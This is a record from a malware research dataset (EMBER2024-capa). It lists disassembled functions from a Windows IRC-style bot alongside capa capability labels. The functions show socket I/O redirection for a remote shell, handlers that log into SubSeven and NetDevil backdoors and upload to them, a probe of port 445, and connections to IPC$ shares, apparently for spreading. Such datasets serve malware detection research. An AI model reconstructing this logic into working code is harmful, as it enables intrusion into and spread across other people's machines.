joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b0c8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x40b107
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s_r
lea eax, [ebp - 0x26c]
mov dword [esp], eax
call sym._sprintf
jmp 0x40b124
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424f16
lea eax, [ebp - 0x26c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x26c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x26c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x40b161
call sym._Close_Handles
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x40b183
mov eax, dword [0x41e084]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, 0
leave
ret

Function at 0x40b18a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40b1cb
mov eax, 0xffffffff
jmp 0x40b29f
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x20]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x20], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0xffffffff
jne 0x40b231
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40b246
mov eax, dword [ebp - 0x24]
cmp eax, 0xffffffff
jne 0x40b246
mov eax, 0xffffffff
jmp 0x40b29f
cmp dword [ebp - 0xc], 0
je 0x40b25b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
jmp 0x40b261
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x40b29c
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x40b29f
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x40b2a1
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40b2db
mov eax, 0xffffffff
jmp 0x40b36a
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x1c], 2
mov eax, dword [ebp + 8]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1a], ax
mov dword [ebp - 0x18], 0
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_bind]
call eax
sub esp, 0xc
test eax, eax
je 0x40b344
mov eax, 0xffffffff
jmp 0x40b36a
mov dword [esp + 4], 0x7fffffff
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_listen]
call eax
sub esp, 8
test eax, eax
je 0x40b367
mov eax, 0xffffffff
jmp 0x40b36a
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x40b36c
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1028
call fcn.0040ec80
sub esp, eax
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x1010]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea eax, [ebp - 0x1010]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40b3d6
mov eax, 0xffffffff
jmp 0x40b4a0
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40b3fe
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
jne 0x40b3f4
mov eax, 0
jmp 0x40b4a0
mov eax, 0xffffffff
jmp 0x40b4a0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x1010]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [0x45fd08]
test eax, eax
je 0x40b46c
mov edx, dword [ebp - 0xc]
mov eax, dword [0x45fd08]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x1010]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x40b46c
mov dword [0x45fd08], 0
cmp dword [ebp - 0x10], 0
jne 0x40b479
mov eax, 0xffffffff
jmp 0x40b4a0
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40b49b
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
jne 0x40b494
mov eax, 0
jmp 0x40b4a0
mov eax, 0xffffffff
jmp 0x40b4a0
mov eax, 0
leave
ret
Function at 0x40b6ef
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x318
add eax, 0x461d08
mov eax, dword [eax]
lea edx, [ebp - 0x20]
mov dword [esp + 8], edx
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_accept]
call eax
sub esp, 0xc
mov dword [0x45fcfc], eax
mov eax, dword [0x45fcfc]
cmp eax, 0xffffffff
je 0x40b79e
mov dword [0x45fd0c], 0
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x24]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._redirect_io_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
jmp 0x40b790
mov dword [esp], 5
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x45fd0c]
test eax, eax
je 0x40b77f
jmp 0x40b6fb
nop
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x318
add eax, 0x461d08
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x318
add eax, 0x461cfc
mov dword [eax], 0
mov eax, 0
leave
ret 4
Function at 0x40bdfd
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x14], 0x1e
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0xc], 0
jmp 0x40be3a
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x114]
cmp dword [ebp + 8], eax
je 0x40be45
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0xc], eax
jb 0x40be27
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0xc], eax
jne 0x40be77
mov eax, dword [ebp - 0x118]
cmp eax, 0x3f
ja 0x40be77
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x114], edx
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.WS2_32.dll_select]
call eax
sub esp, 0x14
test eax, eax
jg 0x40bec4
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x40bec9
mov eax, 0
leave
ret
Function at 0x40c439
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x8004667e
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_ioctlsocket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], 1
jmp 0x40c63d
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call sym._SUB7_Reciev
cmp eax, 0xffffffff
je 0x40c651
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jle 0x40c654
mov dword [esp + 4], str.passed
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x40c5a4
mov eax, dword [ebp - 0xc]
sub eax, 1
mov eax, dword [eax*4 + 0x41e5a0]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.nd__s__s
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._netdevil_upload
cmp eax, 1
jne 0x40c657
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 1
jmp 0x40c670
mov dword [esp + 4], str.pass_pleaz
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x40c65a
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e5a0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.pass_pleaz_s
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
nop
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e5a0]
test eax, eax
jne 0x40c47a
jmp 0x40c65b
nop
jmp 0x40c65b
nop
jmp 0x40c65b
nop
jmp 0x40c65b
nop
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
leave
ret
Function at 0x40c6e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
cmp dword [ebp + 8], 0
jne 0x40c6f9
mov eax, 0
jmp 0x40c78e
cmp dword [ebp + 0x10], 0
je 0x40c72d
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4243e4
mov dword [esp + 4], str._s__s_:_s_n
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
jmp 0x40c74a
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424bf2
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x40c789
mov eax, 0
jmp 0x40c78e
mov eax, 1
leave
ret

Function at 0x40c8c1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov word [eax], 0xa
mov dword [ebp - 0xc], 0
jmp 0x40c951
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x210
add eax, 0x42a300
mov eax, dword [eax]
cmp eax, 1
jne 0x40c94d
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
test eax, eax
je 0x40c94d
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x31
jle 0x40c8e7
nop
nop
leave
ret
Function at 0x40c99e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x40caac
mov dword [ebp - 0x10], 0
jmp 0x40ca8c
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x210
add eax, 0x42a300
mov eax, dword [eax]
cmp eax, 1
jne 0x40ca88
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
test eax, eax
je 0x40ca88
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x41c
add eax, 0x210
add eax, 0x455720
lea edx, [eax + 2]
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x64
add eax, 0x430a40
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4243e4
mov dword [esp + 4], str._s__s_:_s_n
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax*4 + 0x455640]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x214]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
add dword [ebp - 0xc], 1
mov eax, dword [0x430a20]
cmp dword [ebp - 0xc], eax
je 0x40cabc
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x31
jle 0x40c9c5
mov eax, dword [0x420448]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0xc], 1
mov eax, dword [0x430a20]
cmp dword [ebp - 0xc], eax
jl 0x40c9b9
jmp 0x40cabd
nop
mov dword [esp + 8], 0x249f0
mov dword [esp + 4], 0
mov dword [esp], 0x430a40
call sym._memset
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
mov dword [esp], 0x455440
call sym._memset
mov eax, 0
leave
ret 4
Function at 0x40d10c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 0
jmp 0x40d1d5
mov dword [ebp - 0x10], 0
jmp 0x40d13f
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x210
add eax, 0x42a300
mov eax, dword [eax]
test eax, eax
je 0x40d147
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x31
jle 0x40d127
jmp 0x40d148
nop
cmp dword [ebp - 0x10], 0x31
je 0x40d1e3
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x210
add eax, 0x42a300
lea edx, [eax + 0xc]
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x210
lea edx, [eax + 0x42a50c]
mov eax, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x210
add eax, 0x42a300
mov dword [eax], 1
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x14]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._connect_clone_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x40d11e
jmp 0x40d1e4
nop
nop
leave
ret
Function at 0x40d4f8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0x28], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40d53c
mov eax, 0xffffffff
jmp 0x40d66f
mov word [ebp - 0x24], 2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov dword [esp], 0x1bd
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x8004667e
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_ioctlsocket]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
lea eax, [ebp - 0x134]
mov dword [eax], 0
mov dword [ebp - 0xc], 0
jmp 0x40d5c6
lea eax, [ebp - 0x134]
mov edx, dword [ebp - 0xc]
mov eax, dword [eax + edx*4 + 4]
cmp dword [ebp - 0x10], eax
je 0x40d5d3
add dword [ebp - 0xc], 1
lea eax, [ebp - 0x134]
mov eax, dword [eax]
cmp dword [ebp - 0xc], eax
jb 0x40d5b0
lea eax, [ebp - 0x134]
mov eax, dword [eax]
cmp dword [ebp - 0xc], eax
jne 0x40d60a
lea eax, [ebp - 0x134]
mov eax, dword [eax]
cmp eax, 0x3f
ja 0x40d60a
lea eax, [ebp - 0x134]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov dword [eax + edx*4 + 4], ecx
lea eax, [ebp - 0x134]
mov edx, dword [eax]
add edx, 1
mov dword [eax], edx
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x30]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x134]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.WS2_32.dll_select]
call eax
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
cmp dword [ebp - 0x14], 0
jg 0x40d66a
mov eax, 0
jmp 0x40d66f
mov eax, 1
leave
ret
Function at 0x40da4c
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
mov dword [esp + 0x14], 0x3e8
lea eax, [ebp - 0x41c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xffffffff
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call eax
sub esp, 0x18
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x620], 0
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x62c], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sipc_
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x610]
mov dword [ebp - 0x61c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4215f0
mov dword [esp + 4], 0x4215f0
lea eax, [ebp - 0x630]
mov dword [esp], eax
call sym._WNetAddConnection2A_16
sub esp, 0x10
test eax, eax
je 0x40db6a
mov dword [esp + 8], 1
mov dword [esp + 4], 0
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._WNetCancelConnection2A_12
sub esp, 0xc
jmp 0x40dcc5
mov eax, dword [0x46987c]
lea edx, [ebp - 0x34]
mov dword [esp + 0x1c], edx
lea edx, [ebp - 0x30]
mov dword [esp + 0x18], edx
lea edx, [ebp - 0x2c]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x28]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 2
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x20]
mov dword [esp], edx
call eax
sub esp, 0x20
mov dword [ebp - 0x24], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._WNetCancelConnection2A_12
sub esp, 0xc
cmp dword [ebp - 0x24], 0
je 0x40dbe3
cmp dword [ebp - 0x24], 0xea
jne 0x40dc82
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40dc82
mov dword [ebp - 0x10], 0
jmp 0x40dc74
cmp dword [ebp - 0xc], 0
je 0x40dc7e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x12c
lea edx, [ebp - 0x548]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call eax
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x548]
mov dword [esp], eax
call sym._rootBox
cmp eax, 1
je 0x40dc81
add dword [ebp - 0xc], 4
add dword [ebp - 0x14], 1
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x10], eax
jb 0x40dbfc
jmp 0x40dc82
nop
jmp 0x40dc82
nop
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x40dca0
mov eax, dword [0x469874]
mov edx, dword [ebp - 0x28]
mov dword [esp], edx
call eax
sub esp, 4
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x24], 0xea
je 0x40db6a
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x40dcc4
mov eax, dword [0x469874]
mov edx, dword [ebp - 0x28]
mov dword [esp], edx
call eax
sub esp, 4
nop
leave
ret
Function at 0x40df50
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x40dfb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x469f0c]
test esi, esi
jle 0x40e0d0
mov eax, dword [0x469f10]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x40dfe4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40e067
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40dfd0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x40e0f7
mov eax, dword [0x469f10]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x469f10]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40e0d7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40e060
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x40e070
add dword [0x469f0c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x469f10]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40e060
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x40dfee
mov eax, dword [0x469f10]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop